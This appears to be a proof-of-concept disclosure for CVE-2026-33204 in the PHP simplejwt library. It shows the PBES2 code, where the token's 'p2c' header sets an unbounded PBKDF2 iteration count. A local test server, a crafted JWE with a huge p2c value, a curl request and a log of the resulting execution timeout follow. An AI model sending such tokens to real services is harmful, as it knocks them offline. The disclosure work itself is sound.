PHP CVE-2026-33204

<?php
/* ... SNIP ... */
class PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {
    use AESKeyWrapTrait;

    /** @var array<string, mixed> $alg_params */
    static protected $alg_params = [
        'PBES2-HS256+A128KW' => ['hash' => 'sha256'],
        'PBES2-HS384+A192KW' => ['hash' => 'sha384'],
        'PBES2-HS512+A256KW' => ['hash' => 'sha512']
    ];

    /** @var truthy-string $hash_alg */
    protected $hash_alg;

    /** @var int $iterations */
    protected $iterations = 4096;

    /* ... SNIP ... */

    /**
     * Sets the number of iterations to use in PBKFD2 key generation.
     *
     * @param int $iterations number of iterations
     * @return void
     */
    public function setIterations(int $iterations) {
        $this->iterations = $iterations;
    }

    /* ... SNIP ... */

    /**
     * {@inheritdoc}
     */
    public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {
        /** @var SymmetricKey $key */
        $key = $this->selectKey($keys, $kid);
        if ($key == null) {
            throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);
        }
        if (!isset($headers['p2s']) || !isset($headers['p2c'])) {
            throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);
        }

        $derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);
        return $this->unwrapKey($encrypted_key, $derived_key, $headers);
    }

    /* ... SNIP ... */

    /**
     * @param array<string, mixed> $headers
     */
    private function generateKeyFromPassword(string $password, array $headers): string {
        $salt = $headers['alg'] . "\x00" . Util::base64url_decode($headers['p2s']);
        /** @var int<0, max> $length */
        $length = intdiv($this->getAESKWKeySize(), 8);

        return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);
    }
}
?>

mkdir simplejwt-poc
cd simplejwt-poc
composer install
composer require kelvinmo/simplejwt
php -S localhost:8000

<?php

require __DIR__ . '/vendor/autoload.php';

$set = SimpleJWT\Keys\KeySet::createFromSecret('secret123');

$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$method = $_SERVER['REQUEST_METHOD'];

if ($uri === '/encrypt' && $method === 'GET') {
    // Note $headers['alg'] and $headers['enc'] are required
    $headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];
    $plaintext = 'This is the plaintext I want to encrypt.';
    $jwe = new SimpleJWT\JWE($headers, $plaintext);

    try {
        echo "Encrypted JWE: " . $jwe->encrypt($set);
    } catch (\RuntimeException $e) {
        echo $e;
    }
}

elseif ($uri === '/decrypt' && $method === 'GET') {
    try {
        $jwe = $_GET['s'];
        $jwe = SimpleJWT\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');
    } catch (SimpleJWT\InvalidTokenException $e) {
        echo $e;
    }
    echo $jwe->getHeader('alg') . "<br>";
    echo $jwe->getHeader('enc') . "<br>";
    echo $jwe->getPlaintext() . "<br>";
    }

else {
    http_response_code(404);
    echo "Route not found";
}

?>

{
    "alg": "PBES2-HS256+A128KW",
    "enc": "A128CBC-HS256",
    "p2s": "blablabla",
    "p2c": 409123223136
}

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:8000' \
    $'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'

[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started
[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted

Fatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168